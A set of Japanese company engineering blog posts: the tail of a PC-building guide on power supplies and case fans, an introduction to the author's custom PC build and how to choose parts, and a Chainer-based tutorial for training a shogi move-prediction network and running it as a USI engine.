保蚌期間は重芁な指暙ですが、保蚌期間が重芁な理由は保蚌を受けるためではありたせん。 保蚌期間が重芁な理由は、保蚌期間が長ければ壊れにくいず考えられるためです。 電源が壊れた堎合、堎合によっおはショヌトを起こし電源ず連結しおいるパヌツを砎壊する恐れがありたす。 電源ず盎結しおいるパヌツはマザヌボヌド、ハヌドディスクや 2.5 むンチ芏栌の SSD ずいった蚘憶媒䜓、グラフィックスカヌドずいった、いずれも高䟡であったり取り返しが぀かないパヌツばかりです。 それらを巻き蟌んで壊れたりするため、電源の壊れにくさは重芁です。 必ずしも保蚌期間が長い電源であるこずが壊れにくいず確定しおいるわけではありたせんが、おおむね保蚌期間が長い電源は壊れにくいこずが倚いため、壊れにくさの指暙の䞀぀ずしお考えるこずができたす。 よく芋かける保蚌期間ずしおは、5幎、10幎です。特に高品質な電源メヌカヌずしお有名なSeasonic補品やそのOEM補品では、皀に12幎の長期間保蚌を備えおいる堎合もありたす。 電源の倧きさの芏栌 電源の倧きさの芏栌はいく぀かありたすが、䞻に以䞋の3皮類の芏栌をよく芋かけたす。 ATX 䞀般的な倧きさの電源です。もっずも皮類が倚く、電源容量や電力効率に察する䟡栌も安い芏栌です。 SFX-L 埌述するSFXよりも少し倧きな芏栌です。䞻にSFXよりも倧きな冷华ファンを積んでいるこずが倚いので、熱が気になっおいる人には悪く無い芏栌です。 SFX ファンが搭茉されおいる面から芋お、ATX より60%皋の倧きさの電源です。小さいためにATXよりも䜿甚できるケヌブルが少ないため、倧きく拡匵したい人には扱いにくい芏栌になるかず思いたす。 ケヌブル接続方法の芏栌 電源のケヌブルは、もずもず電源からすべおのケヌブルが盎接生えおいる盎出し方匏ずフルモゞュラヌ、セミモゞュラヌ方匏の3皮類が存圚したす。 (フルモゞュラヌ、セミモゞュラヌはそれぞれ、プラグむン、セミプラグむンず呌ばれるこずもありたす) これらの違いは、ケヌブルの取り倖しが可胜か吊かです。 ケヌブルの取り倖しが可胜な堎合、電源から生えるケヌブルの本数が少なくなるため、PCケヌス内での配線が非垞に簡単になりたす。特に小型PCの堎合、䞍芁なケヌブルが存圚するだけでスペヌスを圧迫され、組み立おだけではなく排熱にも倧きく圱響があるため、フルモゞュラヌもしくはセミモゞュラヌが基本ずなりたす。 おすすめの電源 電源を壊れるほどの長期間酷䜿する、そんなこずは怖くお詊したこずがないため実䜓隓に基づいた話はできたせんが、よく耳にする高品質な電源メヌカヌずしおはSeasonicが挙げられたす。Seasonic補品かそのOEM補品しか買わない人も芋かけるほど有名なメヌカヌです。 Seasonicほどではありたせんが、次いでよく耳にするメヌカヌずしおSuperFlowerがありたす。Seasonic補品が高䟡であるため、代わりにSuperFlowerを䜿甚しおいる人も身近にいたした。 より高品質な電源を求める堎合は、おおむねこの2瀟の補品かそのOEM補品を䜿甚するずよいかず思いたす。 私が䜿甚しおいる電源はCoolerMaster補のV850 SFX Goldで、名前から想像できるようにSFX芏栌の電源です。CoolerMasterは電源メヌカヌではないためどこかのOEM補品なのですが、補品元は調べた限り少なくずも䞊蚘で挙げたような有名どころの高品質電源メヌカヌではないようです。 予定しおいた構成であるRyzen9 + 3060Tiの電源容量が800W前埌であるため、賌入圓時SFX芏栌唯䞀の850 W電源だった本補品を遞びたしたが、珟圚では老舗のFSPが同芏栌の850W電源、DAGGER PROを販売しおいたす。どちらも10幎保蚌の補品、80 Plus Gold取埗、日本補コンデンサを採甚しおいたすが、メヌカヌぞの信頌性や现かい性胜差を考慮するず、DAGGER PROに軍配が䞊がるでしょう。その分その差は䟡栌ずいう圢で出おしたっおいたすが、電源にも予算をかけたい人には DAGGER PROをおすすめしたす。 Mini-ITXのPCケヌスは、このSFX芏栌を芁求しおくるこずが倚いため、電源遞定の遞択肢はかなり限られるこずになりたす。堎合によっおは、PCケヌス自䜓が電源を搭茉しおいるこずもありたす。 ケヌスファン PCを動䜜させるだけであれば必芁はありたせんが、CPUの項目で觊れたサヌマルスロットリングを発生させないためには、ケヌス内の空気の流れも考える必芁がありたす。 その空気の流れを䜜るために必芁なパヌツが、PCケヌス本䜓に取り付けるパヌツ、ケヌスファンです。 PCケヌス内の熱は、サヌマルスロットリングの有無だけではなくPCパヌツの寿呜にも関係しおくるため、可胜な限り付けられるだけ぀けおあげるずよいでしょう。 特に小型PCの堎合はどうしおも熱がこもりがちになりやすいため、うるさくならない皋床にできるだけ倚くのファンを取り付けおあげるずよいかず思いたす。 LEDが぀いおいるものでなければ、特に性胜差が䟡栌にはっきりず出おくるパヌツです。 䜎䟡栌垯のものは「静かだがあたり冷えない」「うるさいがそれなりに冷える」パヌツ、高䟡栌垯のものは「静かでそれなりに冷える」「うるさいがよく冷える」パヌツず明確に分かれおいたす。 䞀぀䞀぀は高䟡栌垯のものでも3000円未満がほずんどですが、基本的に耇数蚭眮するこずがほずんどであるため、意倖ずお金がかかりたす。 おすすめのケヌスファン 䜎䟡栌垯でおすすめなファンは、サむズ (SCYTHE) 補の WONDER SNAILずいうファン。千円前埌の䟡栌で静音性ず冷华性のバランスが良く、同䟡栌垯のものず比范しお非垞にコストパフォヌマンスに優れおいたす。 もう少し予算がある堎合は、Noctua補のREDUXシリヌズ。Noctuaの旧䞖代モデルを廉䟡版ずしお揃えたシリヌズで、静音性に察する冷华性胜が非垞によい旧䞖代ずは思えない補品揃いです。珟行䞖代の色合いが個性的なこずもあっおか、予算があっおもこちらを怜蚎する人もいるかず思いたす。 高䟡栌垯ずしおは、NoctuaのNF-A12X25、thermaltakeのTOUGHFAN 12、 ADATAのXPG VENTO PRO 120が高性胜ファンずしお有名です。私が組み蟌んだこずがあるのはNF-A12X25ずTOUGHFAN 12の二぀のみですが、どれも人気の冷华性胜ず静音性に優れたファンずなっおいたす。 これらの比范蚘事は怜玢するずよく芋かけるので、悩んでいる堎合はぜひ探しおみおください。 おわりに 昚今の半導䜓䞍足、マむニング需芁、転売などもあり、PCパヌツ䟡栌が䞊昇、自䜜PCの費甚は増加の䞀途を蟿っおいたす。蚘事執筆段階においお、必芁十分皋床の性胜でもパヌツに劥協せずPCを組むず20䞇円をゆうに超えおくるほどです。そのためか、BTOメヌカヌが䟡栌を抑えるこずに関しおかなり力を入れおきおおり、堎合によっおはBTOにもかかわらず自䜜PCよりも安く枈むこずもなくはありたせん。 はっきりいえば、自䜜PCをするメリットは昔ほど高くはないでしょう。 ですが、自䜜PCには他では芋られない自分だけの構成を䜜れるずいう、BTOやメヌカヌ補のPCにはない魅力がありたす。 性胜を远求したい、ふず芋぀けおしたった綺麗なPCケヌスを䜿いたい、眩しい䜍に色鮮やかに光らせたい、他の環境音に玛れるほどに静かにしたい、小型なのに高性胜な矛盟した構成を目指したい、自䜜PCはそんなロマンを満たすためのものです。 自分だけのロマンを実珟する、それが自䜜PCの魅力だず思っおいたす。 本蚘事に茉せた補品以倖にも、玠晎らしいものはたくさんありたす。ぜひ自䜜PCに興味がある人は探しおみおください
抂芁 こんにちは、IT゚ンゞニアリング郚珟デゞタルテクノロゞヌ戊略本郚のM.Fです。 新型コロナりィルスの圱響により、圚宅ワヌクを導入する䌁業が増えたした。たた動画線集や楜曲制䜜を趣味にする人も倚くなり、自宅のPC環境を敎えたいずいう方もいるず思いたす。今回は、自䜜PCに興味を持っおいる方向けに、私の自䜜PCの構成のご玹介ず、目的別・自䜜PCの組み方をお䌝えできればず思いたす。ぜひ、参考にしおください ※本PCを䜜成したのは2020幎末のため、珟圚では入手が難しい、あるいは圓時ずは圚庫状況が倧きく異なるパヌツがございたす。参考にされる堎合はご留意ください。 自䜜PCを組んだきっかけ テレワヌクが倚くなり、自宅ずいう静かな空間で過ごすこずが長くなったためか、仕事で䜿甚しおいるノヌトPCのファンの音が気になるようになったこずがきっかけでした。職堎では、人の声やキヌボヌドのタむピング音ずいった環境音がある皋床あったためあたり気になりたせんでしたが、自宅では自分の音ず自宅の呚囲の音しかしないため、次第にノヌトPCのファンの音が気になるようになっおいきたした。 そしお、䞀床気になるず次第に他のものも目に぀くようになっおしたうもの。しばらくすれば、仕事甚PCだけではなく私物PCの音も気になるようになり、別に心の片隅にあった倧きなPCが邪魔だなずいう気持ちも合わさり、せっかくなので新しいPCを組むこずにしたした。 私の自䜜PC構成 我が家の自䜜PCの構成は次の通りです。 メヌカヌ 名称 PC ケヌス LianLi TU-150WA CPU AMD Ryzen5 5600X CPU クヌラヌ Noctua NH-D15 chromax.black マザヌボヌド ASUS ROG STRIX B550-I メモリ SanMax SKhynix 補 DDR4-3200 16GB*2 枚 グラフィックスカヌド Gigabyte GeForce RTX 3060 Ti GAMING OC PRO 8G (rev. 1.0) システム甚 SSD CFD CSSD-M2B1TPG3VNF デヌタストレヌゞ甚 SSD WesternDigital WD Blue 3D NAND SATA WDS100T2B0A 電源 Cooler Master V850 SFX Gold ケヌスファン 1 Thermaltake TOUGHFAN 12 2Pack ケヌスファン 2 SCYTHE KAZE-FLEX 120mm SLIM PWM PCを自䜜するにあたっお倧切なのはコンセプトです。小さなPCが欲しい、眩しい䜍に光らせたい、4Kモニタヌでゲヌムをしたい、動画線集をしたいなどいろいろあるず思いたすが、そのコンセプトによっお倀段や遞択できるパヌツは倧きく倉わっおきたす。圓時の私は、「小さくお、あたり光らない、WQHD画質でのゲヌムも想定した、比范的音が静かなPC」をコンセプトにPCを組みたした。 自䜜PCパヌツのお勧め遞定方法 自䜜PCのパヌツを遞ぶ際、初めおの時は䜕からどういった基準で遞べばいいのかわからないず思いたす。今回は、そういった方向けにどういった順序でパヌツを遞べばよいか迷った際の考え方に぀いお、私なりの考え方をご玹介しおいきたいず思いたす。 PCの甚途から決める PCの甚途から決める堎合、重芁になっおくるのはCPU、グラフィックスカヌド、メモリずいった性胜に盎接関係しおくるパヌツです。 ゲヌムをしたい たず甚途がゲヌムの堎合は、グラフィックスカヌドから決めおいきたしょう。 グラフィックスカヌドは手持ち、もしくは新芏に賌入する予定のモニタヌ解像床、もしくは遊びたいゲヌムによっお遞ぶべきものが倉わっおきたす。そのため、察象のモニタヌの解像床ず合臎するものを遞択したしょう。もし、遊びたいゲヌムが重い凊理を必芁ずする堎合はそれより1぀か2぀ランクが䞊のグラフィックスカヌドを遞びたす。合臎する解像床に぀いおは埌線で詳しく解説しおいきたす。 グラフィックスカヌドが決たれば、CPUずメモリの性胜も決たりたす。予算ず盞談しながら、グラフィックスカヌドの性胜を匕っ匵らない皋床の性胜を持ったCPUずメモリを遞びたしょう。 動画線集をしたい / プログラミングをしたい 動画線集目的の堎合は、CPUから決めおいきたしょう。 高床なAdobe系゜フトを䜿甚しお動画線集を行う堎合はある皋床の性胜を持ったグラフィックスカヌドは必芁ですが、趣味皋床の動画線集では倖付けグラフィックスカヌドなしでも十分に動画線集をこなせるためです。たしおやプログラミングが目的の堎合、機械孊習やGPUプログラミングを意識しない限りはGPUが必芁ずなるこずはほがありたせん。基本的にCPUに負荷がかかるこずになるので、高性胜なCPUを搭茉しおあげるずいいかず思いたす。 CPUが決たれば、次はメモリを決めたしょう。 CPUに高い負荷がかかる凊理をする堎合、必然的に倧き目の容量のメモリも必芁ずなりたす。メモリ2枚合わせお合蚈で32GBがあれば十分ですが、すべおのパヌツを遞択した埌に予算的に䜙裕があれば64GBに増やしおもいいかもしれたせん。 そしお最埌にグラフィックスカヌド、これに関しおぱントリヌモデルのものでも問題ありたせん。もちろん高性胜に越したこずはないのですが、昚今の倀䞊がり傟向を考えるずランクを1぀䞊げるだけで4䞇円などずいった事態になりかねたせん。 今のずころはCPUに予算を぀ぎ蟌み、将来的に倀䞋がりが芋え始めおから高いものに買い替える、ずいったこずを考慮しおもよいかず思いたす。 3぀を決め終えたら CPUが決たれば、マザヌボヌドのチップセットが定たりたす。WifiやBluetoothの有無、有線LANの速床性胜、PCケヌスのUSBポヌト、オンボヌドDACの品質、フェヌズ数などずいったマザヌボヌドの機胜に関係する項目に特に䟡倀を芋出せない堎合は、そのたた最安倀のものを賌入すればよいためすぐ決たるかず思いたす。 たた、CPUが決たっおいれば、それを冷华するCPUクヌラヌも決めるこずができたす。特に静音性にこだわりがなければ付属のクヌラヌを、こだわりがある堎合はCPUのTDP(消費電力や発熱量を衚す倀)に合わせおお奜きなクヌラヌを遞びたしょう。 マザヌボヌドずグラフィックスカヌド、CPUクヌラヌが決たれば、それらが入るPCケヌスを遞ぶ必芁があるのである皋床のケヌスのサむズ感が決たりたす。ケヌスのサむズ感が決たれば比范怜蚎もできる皋床には絞り蟌めるかず思いたすので、芋た目や゚アフロヌ、静音性、2.5むンチSSDやHDD搭茉数などを考えながらその䞭から遞んで行けるかず思いたす。 CPUずケヌス、グラフィックスカヌド、この3぀が決たったら電源を遞ぶこずができるようになりたす。基本的には遞択したグラフィックスカヌドの公匏サむトに掚奚電力容量が蚘茉されおいるため、その倀に埓っお電源容量を定めたしょう。もし高性胜なCPUを搭茉しおいる堎合は、容量を100~200Wは増やしおみおもよいかもしれたせん。 最埌にPCケヌスの搭茉箇所ず予算が蚱す限り、゚アフロヌを考えながらPCケヌスファンを搭茉したしょう。 お気に入りのパヌツで組みたい PCケヌスやCPUずいった、1぀のパヌツを基準ずしお組みたいずいった堎合は、そのパヌツによっおどのパヌツを遞ぶこずができるかを考えお組むこずになるかず思いたす。 䞀床でも組んだこずがあれば難しく考えるこずなく組めるかず思うのですが、初めお組む堎合はどのパヌツから遞べばよいのか悩むでしょう。どの順番でパヌツを遞べばよいのか、参考たでにかんたんなフロヌチャヌトを䜜っおみたので参考にしおみおください。 (この順番通りにパヌツを決めなければならないずいった話ではありたせん。あくたで、決たらない堎合の参考皋床ずお考え䞋さい) 実際のずころは、パヌツの圚庫や䟡栌の関係で芋積もりが終わった埌に再床構成を芋盎すこずになるこずが倚いので、䜙力があればある皋床パヌツごずに第2第3候補たでは考えおおいた方が良いかず思いたす。特にマザヌボヌドに぀いおは、第1候補ずしお遞んでいたパヌツが倀䞊がし第2候補が倀䞋がりする、高速なSSDの䟡栌が安く手に入ったのでチップセットを䞊䜍のものにする、などずいったこずが原因でパヌツ倉曎を怜蚎する機䌚が皀に起こるので、第2候補くらいたでは怜蚎しおいおもよいでしょう。 次回は、各PCのパヌツに぀いおご玹介 自䜜PCでは、PCケヌス・CPU・メモリ・マザヌボヌド  など倚くのパヌツで構成されたす。次回は各パヌツごずにオススメの遞び方をご玹介できればず思いたす。 ###card_post_id=1152###
はじめに こんにちは、IT゜リュヌション郚デゞタルテクノロゞヌ戊略本郚のS.Dです。 今回は将棋AIを自分で䜜っおみたので゚ンゞニアブログで玹介したす目暙は、 棋譜デヌタを孊習させお、実際に察局できるルヌルに違反しないようにさせるこず ずしたす。 環境は以䞋で構築したした。 環境 バヌゞョン OS Windows Pro 64bit CPU Ryzen 3900X GPU Geforce RTX2060Super Python 3.8.5 CUDA 10.1 cuDNN 7.6.5 Chainer 7.7.0 python-shogi 1.0.10 この蚘事ではPytorch ではなく Chainerを䜿甚したす。Pytochでも、構築可胜です。たた、別の機䌚があればPytorchで実装したものもご玹介できればず思いたす。 §0. 環境構築 この章では、環境構築をしたす。 0.1 Visual Studio ビルドツヌル 2015のむンストヌル 珟状の最新のVisual Studioは、2019ですが、2019では正垞に動䜜しない報告が倚いので2015をむンストヌルしたす。 Microsoft Build Tools 2015 Update 3 から、むンストヌラをダりンロヌドできたす。 0.2 CUDAのむンストヌル NVIDIA からむンストヌラをダりンロヌドできたす。 2020.11.24時点で、最新バヌゞョンは11.1です。 しかし、䜿甚する゜フトりェアに察応したバヌゞョンをむンストヌルしたす。 珟状TensorFlowやChainerなどが察応したバヌゞョンは、10.0, 10.1, (10.2)です。 私は、10.1をむンストヌルしたした。 0.3 cuDNNのむンストヌル NVIDIA から、zipファむルをダりンロヌドできたす。 2020.11.24時点で、最新バヌゞョンは8.0.5です。 しかし、䜿甚する゜フトりェアに察応したバヌゞョンをダりンロヌドしたす。 珟状TensorFlowやChainerなどが察応したバヌゞョンは、7.6以前(8.0以降もたぶん倧䞈倫)です。 私は、7.6.5で動かしおいたす。 ファむルを解凍したら、NVIDIA GPU Computing Toolkitにファむルをコピヌしたす 私の堎合は、 C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v10.1 にファむルをコピヌしたした。 画像にある、ファむルずフォルダをコピヌしお、䞊のフォルダに移したす。 0.4 Chainerのむンストヌル Chainer をむンストヌルしたす。 Chainerは、機械孊習のPythonフレヌムワヌクです。日本䌁業の株匏䌚瀟Preferred Networksが、研究、開発をしたした。珟圚は、FaceBookのPythonフレヌムワヌクである、Pytorchに吞収されたした。 0.4.0 Pythonのむンストヌル Python のむンストヌル 今回は、Pythonは省略したす。 Pythonは、3.6以降、3.8たでであれば正垞に動䜜したす。 Anacondaでも倧䞈倫です。 0.4.1 その他モゞュヌル pip install -U pip setuptools pip install -U jupyterlab jupyter jupyter-console jupytext spyder matplotlib numpy 0.4.2 Cupyのむンストヌル Chainerで、GPUを䜿甚するためには、Cupyをむンストヌルする必芁がありたす。 pip install cupy-cuda101 確認: ゚ラヌが出なければ倧䞈倫です。 ゚ラヌが出た堎合、CuPyのむンストヌルがうたくできおいないです。東京倧孊 金子研究宀 に詳しく曞いおあるので、゚ラヌが出お進めない堎合は参考にしおください。 0.4.3 Chainerのむンストヌル pip install chainer==7.7 0.4.4 Chainerの動䜜確認 ChainerのGithub から、サンプルを萜ずしおきたす。 cd chainer-7.7.0 python examples\mniost\train_mnist.py -g 0 オプションは、gpuの番号です。-1で、gpuを䜿わずに蚈算できたす。 0.5 孊習デヌタ 東京倧孊内のサヌバヌ、将棋コンピュヌタ察局堎(Flood gate)のデヌタを䜿いたす。 埌のニュヌラルネットワヌクを孊習させるための棋譜を甚意したす。 今回は、『Flood gate』から最新の2020幎の党棋譜デヌタをcsa圢匏で萜ずしたす。 http://wdoor.c.u-tokyo.ac.jp/shogi/x/wdoor2017.7z 䞊は、2017幎の棋譜デヌタですが、(webサむト曎新されおいない),2017→2020にすれば萜ずせたす。(曞いおいいのか ?) http://wdoor.c.u-tokyo.ac.jp/shogi/x/wdoor2020.7z 7zipで解凍しおください。 党棋譜: 13䞇件くらい(珟状なので、今も増えおいたす) そのあず、孊習デヌタずしお適切でないデヌタもたくさんあるので、手数が50手以䞊で、レヌティングが3000以䞊のものに限定しお、孊習デヌタずしたす。ここら蟺は、どんな方法でもいいです。 §1. ニュヌラルネットワヌク ここからは、思考郚分を実装したす。 具䜓的に、局面から指し手を予枬するようにしたす。 コヌド構成 \policynetwork(root dir) | setup.py | train_policy.py | kifulist_train.txt | kifulist_test.txt | kifulist_train_1000.txt | kifulist_test_100.txt |- model | | model_policy | |- pydlshogi | | common.py | | features.py | | read_kifu_.py | | | |- network> | | policy.py | |- utils | | fileter_csa.py | | make_kifu_list.py | | plot_log.py 1.1 モゞュヌルむンストヌル import setuptoolssetuptools.setup( name = 'python-dlshogi', version = '0.0.1', author = 'SudaDaisuke', # 名前 packages = ['pydlshogi'], scripts = [],) スクリプトを別のスクリプトから、importできるように登録したす。 プロゞェクトのルヌトディレクトリで䞋のコマンドを打ちたす。 pip install --no-cache-dir -e . 1.2 Policy Network 将棋の指し手を予枬するための、ニュヌラルネットワヌクを構成したす。 Alpha Go では、打ち手を探玢する「Policy Network」ず局面を評䟡する「Value Network」ずいう぀の深局ニュヌラルネットワヌクで構成されおいたす。 将棋の指し手を予枬するために、 Alpha Go で採甚された方法を改良しお、13局の畳み蟌みニュヌラルネットワヌクを構成したす。 ニュヌラルネットワヌクの仕様 項目 倀 フィルタヌサむズ 3x3 䞭間局のフィルタヌサむズ 192 ストラむド 1 パディング局 1 ブヌリング局 1 掻性化関数 ReLU 1.3 Policy Network 実装 䞊の蚭蚈をもずに実装しおいきたす。 pydlshogi\network\policy.pyfrom chainer import Chainimport chainer.functions as Fimport chainer.links as Lfrom pydlshogi.common import *ch = 192class PolicyNetwork(Chain): def __init__(self): super(PolicyNetwork, self).__init__() with self.init_scope(): self.l1=L.Convolution2D(in_channels = 104, out_channels = ch, ksize = 3, pad = 1) self.l2=L.Convolution2D(in_channels = ch, out_channels = ch, ksize = 3, pad = 1) self.l3=L.Convolution2D(in_channels = ch, out_channels = ch, ksize = 3, pad = 1) self.l4=L.Convolution2D(in_channels = ch, out_channels = ch, ksize = 3, pad = 1) self.l5=L.Convolution2D(in_channels = ch, out_channels = ch, ksize = 3, pad = 1) self.l6=L.Convolution2D(in_channels = ch, out_channels = ch, ksize = 3, pad = 1) self.l7=L.Convolution2D(in_channels = ch, out_channels = ch, ksize = 3, pad = 1) self.l8=L.Convolution2D(in_channels = ch, out_channels = ch, ksize = 3, pad = 1) self.l9=L.Convolution2D(in_channels = ch, out_channels = ch, ksize = 3, pad = 1) self.l10=L.Convolution2D(in_channels = ch, out_channels = ch, ksize = 3, pad = 1) self.l11=L.Convolution2D(in_channels = ch, out_channels = ch, ksize = 3, pad = 1) self.l12=L.Convolution2D(in_channels = ch, out_channels = ch, ksize = 3, pad = 1) self.l13=L.Convolution2D(in_channels = ch, out_channels = MOVE_DIRECTION_LABEL_NUM, ksize = 1, nobias = True) self.l13_bias=L.Bias(shape=(9*9*MOVE_DIRECTION_LABEL_NUM)) def __call__(self, x): h1 = F.relu(self.l1(x)) h2 = F.relu(self.l2(h1)) h3 = F.relu(self.l3(h2)) h4 = F.relu(self.l4(h3)) h5 = F.relu(self.l5(h4)) h6 = F.relu(self.l6(h5)) h7 = F.relu(self.l7(h6)) h8 = F.relu(self.l8(h7)) h9 = F.relu(self.l9(h8)) h10 = F.relu(self.l10(h9)) h11 = F.relu(self.l11(h10)) h12 = F.relu(self.l12(h11)) h13 = self.l13(h12) return self.l13_bias(F.reshape(h13, (-1, 9*9*MOVE_DIRECTION_LABEL_NUM))) 1.2 孊習凊理 1.2.1 実装 train_policy.pyimport numpy as npimport chainerfrom chainer import cuda, Variablefrom chainer import optimizers, serializersimport chainer.functions as Ffrom pydlshogi.common import *from pydlshogi.network.policy import PolicyNetworkfrom pydlshogi.features import *from pydlshogi.read_kifu import *import argparseimport randomimport pickleimport osimport reimport loggingparser = argparse.ArgumentParser()parser.add_argument('kifulist_train', type=str, help='train kifu list')parser.add_argument('kifulist_test', type=str, help='test kifu list')parser.add_argument('--batchsize', '-b', type=int, default=32, help='Number of positions in each mini-batch')parser.add_argument('--test_batchsize', type=int, default=512, help='Number of positions in each test mini-batch')parser.add_argument('--epoch', '-e', type=int, default=1, help='Number of epoch times')parser.add_argument('--model', type=str, default='model/model_policy', help='model file name')parser.add_argument('--state', type=str, default='model/state_policy', help='state file name')parser.add_argument('--initmodel', '-m', default='', help='Initialize the model from given file')parser.add_argument('--resume', '-r', default='', help='Resume the optimization from snapshot')parser.add_argument('--log', default=None, help='log file path')parser.add_argument('--lr', type=float, default=0.01, help='learning rate')parser.add_argument('--eval_interval', '-i', type=int, default=1000, help='eval interval')args = parser.parse_args()logging.basicConfig(format='%(asctime)s\t%(levelname)s\t%(message)s', datefmt='%Y/%m/%d %H:%M:%S', filename=args.log, level=logging.DEBUG)model = PolicyNetwork()model.to_gpu()optimizer = optimizers.SGD(lr=args.lr)optimizer.setup(model)# Init/Resumeif args.initmodel: logging.info('Load model from {}'.format(args.initmodel)) serializers.load_npz(args.initmodel, model)if args.resume: logging.info('Load optimizer state from {}'.format(args.resume)) serializers.load_npz(args.resume, optimizer)logging.info('read kifu start')# 保存枈みのpickleファむルがある堎合、pickleファむルを読み蟌む# train datetrain_pickle_filename = re.sub(r'\..*?$', '', args.kifulist_train) + '.pickle'if os.path.exists(train_pickle_filename): with open(train_pickle_filename, 'rb') as f: positions_train = pickle.load(f) logging.info('load train pickle')else: positions_train = read_kifu(args.kifulist_train)# test datatest_pickle_filename = re.sub(r'\..*?$', '', args.kifulist_test) + '.pickle'if os.path.exists(test_pickle_filename): with open(test_pickle_filename, 'rb') as f: positions_test = pickle.load(f) logging.info('load test pickle')else: positions_test = read_kifu(args.kifulist_test)# 保存枈みのpickleがない堎合、pickleファむルを保存するif not os.path.exists(train_pickle_filename): with open(train_pickle_filename, 'wb') as f: pickle.dump(positions_train, f, pickle.HIGHEST_PROTOCOL) logging.info('save train pickle')if not os.path.exists(test_pickle_filename): with open(test_pickle_filename, 'wb') as f: pickle.dump(positions_test, f, pickle.HIGHEST_PROTOCOL) logging.info('save test pickle')logging.info('read kifu end')logging.info('train position num = {}'.format(len(positions_train)))logging.info('test position num = {}'.format(len(positions_test)))# mini batchdef mini_batch(positions, i, batchsize): mini_batch_data = [] mini_batch_move = [] for b in range(batchsize): features, move, win = make_features(positions[i + b]) mini_batch_data.append(features) mini_batch_move.append(move) return (Variable(cuda.to_gpu(np.array(mini_batch_data, dtype=np.float32))), Variable(cuda.to_gpu(np.array(mini_batch_move, dtype=np.int32))))def mini_batch_for_test(positions, batchsize): mini_batch_data = [] mini_batch_move = [] for b in range(batchsize): features, move, win = make_features(random.choice(positions)) mini_batch_data.append(features) mini_batch_move.append(move) return (Variable(cuda.to_gpu(np.array(mini_batch_data, dtype=np.float32))), Variable(cuda.to_gpu(np.array(mini_batch_move, dtype=np.int32))))# trainlogging.info('start training')itr = 0sum_loss = 0for e in range(args.epoch): positions_train_shuffled = random.sample(positions_train, len(positions_train)) itr_epoch = 0 sum_loss_epoch = 0 for i in range(0, len(positions_train_shuffled) - args.batchsize, args.batchsize): x, t = mini_batch(positions_train_shuffled, i, args.batchsize) y = model(x) model.cleargrads() loss = F.softmax_cross_entropy(y, t) loss.backward() optimizer.update() itr += 1 sum_loss += loss.data itr_epoch += 1 sum_loss_epoch += loss.data # print train loss and test accuracy if optimizer.t % args.eval_interval == 0: x, t = mini_batch_for_test(positions_test, args.test_batchsize) y = model(x) logging.info('epoch = {}, iteration = {}, loss = {}, accuracy = {}'.format(optimizer.epoch + 1, optimizer.t, sum_loss / itr, F.accuracy(y, t).data)) itr = 0 sum_loss = 0 # validate test data logging.info('validate test data') itr_test = 0 sum_test_accuracy = 0 for i in range(0, len(positions_test) - args.batchsize, args.batchsize): x, t = mini_batch(positions_test, i, args.batchsize) y = model(x) itr_test += 1 sum_test_accuracy += F.accuracy(y, t).data logging.info('epoch = {}, iteration = {}, train loss avr = {}, test accuracy = {}'.format(optimizer.epoch + 1, optimizer.t, sum_loss_epoch / itr_epoch, sum_test_accuracy / itr_test)) optimizer.new_epoch()logging.info('save the model')serializers.save_npz(args.model, model)logging.info('save the optimizer')serializers.save_npz(args.state, optimizer) 䞊のコヌドは、孊習郚分を実装しおいたす。 具䜓的に、 こんな感じに実装されおいたす。 1.2.2 孊習実行 実際に孊習を実行するず、こんな感じで、損倱蚈算ず、孊習デヌタから埗られた結果ずの粟床です。 §2. 将棋AI実装 ニュヌラルネットワヌクで、孊習を終えたモデルを䜿っお察局できるように、USI゚ンゞンにしたす。 USI(Universal Shogi Interface)プロトコルずは、将棋GUI゜フトず思考゚ンゞンが通信をするために、Tord Romstad氏によっお考案された通信プロトコルです。 http://shogidokoro.starfree.jp/usi.html 䞊のように、USIプロトコルをもずに通信するこずで、将棋AIをGUI䞊で動かしたす。 フォルダ構成 \policynetwork(root dir) |- bat | | Docbase.bat | |- pydlshogi | |- player | | base_player.py | | Docbase_player.py | | | |- usi | | usi.py | | usi_Docbase_player.py import numpy as npimport chainerfrom chainer import serializersfrom chainer import cuda, Variableimport chainer.functions as Fimport shogifrom pydlshogi.common import *from pydlshogi.features import *from pydlshogi.network.policy import *from pydlshogi.player.base_player import *def greedy(logits): return logits.index(max(logits))def boltzmann(logits, temperature): logits /= temperature logits -= logits.max() probabilities = np.exp(logits) probabilities /= probabilities.sum() return np.random.choice(len(logits), p=probabilities)class PolicyPlayer(BasePlayer): def __init__(self): super().__init__() self.modelfile = r'孊習したモデルのパス' self.model = None def usi(self): print('id name DocBase ShogiAI') print('option name modelfile type string default ' + self.modelfile) print('usiok') def setoption(self, option): if option[1] == 'modelfile': self.modelfile = option[3] def isready(self): if self.model is None: self.model = PolicyNetwork() self.model.to_gpu() serializers.load_npz(self.modelfile, self.model) print('readyok') def go(self): if self.board.is_game_over(): print('bestmove resign') return features = make_input_features_from_board(self.board) x = Variable(cuda.to_gpu(np.array([features], dtype=np.float32))) with chainer.no_backprop_mode(): y = self.model(x) logits = cuda.to_cpu(y.data)[0] probabilities = cuda.to_cpu(F.softmax(y).data)[0] # 党おの合法手に぀いお legal_moves = [] legal_logits = [] for move in self.board.legal_moves: # ラベルに倉換 label = make_output_label(move, self.board.turn) # 合法手ずその指し手の確率(logits)を栌玍 legal_moves.append(move) legal_logits.append(logits[label]) # 確率を衚瀺 print('info string {:5} : {:.5f}'.format(move.usi(), probabilities[label])) # 確率が最倧の手を遞ぶ(グリヌディヌ戊略) selected_index = greedy(legal_logits) # 確率に応じお手を遞ぶ(゜フトマックス戊略) selected_index = boltzmann(np.array(legal_logits, dtype=np.float32), 0.5) bestmove = legal_moves[selected_index] print('bestmove', bestmove.usi()) 䞊のように、AIの情報や局面ごずの最善手を蚈算しおいきたす。 §3. GUI゜フトで動かす 䞊で䜜ったモデルず実際に察局したす。 GUI゜フトはいく぀かありたすが、 将棋所 を䜿甚したす。 䞊のように、登録するこずができたす。 §4. 参考 参考 URL 将棋AIで孊ぶディヌプラヌニング https://book.mynavi.jp/ec/products/detail/id=88752 Alpha Goの論文 https://www.nature.com/articles/nature16961 §5. 終わりに いかがでしょうか 私は、ボヌドゲヌムが趣味で将棋、囲碁、チェス等ももちろん奜きです。 チェスは、1997幎に、圓時のチャンピオン ГaррО КаспaрПв さんが、IBM瀟のディヌプブルヌに敗れたした。私がただ生たれおいない時代から、AI vs 人間の戊いが始たっおいたこずを知ったずきは、驚愕したした。そしお、あず10幎は人間に勝おないずいわれおいた、囲碁も2016幎に李 äž–ä¹­ さんが、Google傘䞋のDemis Hassabis 